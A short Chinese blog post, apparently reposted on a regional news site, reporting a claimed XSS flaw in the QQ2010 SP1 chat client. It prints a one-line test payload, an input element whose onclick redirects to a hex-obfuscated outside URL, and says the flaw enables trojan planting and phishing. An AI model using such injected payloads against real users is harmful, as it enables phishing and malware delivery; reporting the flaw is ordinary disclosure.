剛才和Ken的聊天中他告訴我說(shuō)QQ2010 SP1出漏洞了。我還不是很相信。不過(guò)經(jīng)過(guò)測(cè)試后，果真如此。
新版本是我今天早上給公司的電腦重裝完新系統(tǒng)下載安裝的，剛好是測(cè)試環(huán)境。
測(cè)試代碼：
<input onclick=”window.location=’x68×74x74×70x3ax2fx2fx77×77x77×2ex62×6fx77×6fx73×2ex63×6fx6d’” />
而出現(xiàn)如圖顯示
利用此漏洞可以掛馬 XSS 釣魚等邪惡的事情. 等待修復(fù)中…
相關(guān)閱讀濟(jì)寧運(yùn)河畔網(wǎng)版權(quán)與免責(zé)聲明：
①凡本網(wǎng)來(lái)源于注明來(lái)“源于：運(yùn)河畔或www.habestpay.com.cn”版權(quán)均屬運(yùn)河畔網(wǎng)所有，其他媒體可以轉(zhuǎn)載，且需注明“來(lái)源運(yùn)河畔網(wǎng)”
② 凡本網(wǎng)注明“來(lái)源：XXX（非濟(jì)寧運(yùn)河畔,濟(jì)寧信息港）”的作品，均轉(zhuǎn)載自其它媒體，轉(zhuǎn)載目的在于傳遞更多信息，并不代表本網(wǎng)贊同其觀點(diǎn)和對(duì)其真實(shí)性負(fù)責(zé)。
③ 如因作品內(nèi)容、版權(quán)和其它問(wèn)題需要同本網(wǎng)聯(lián)系的，請(qǐng)?jiān)?0日內(nèi)進(jìn)行。
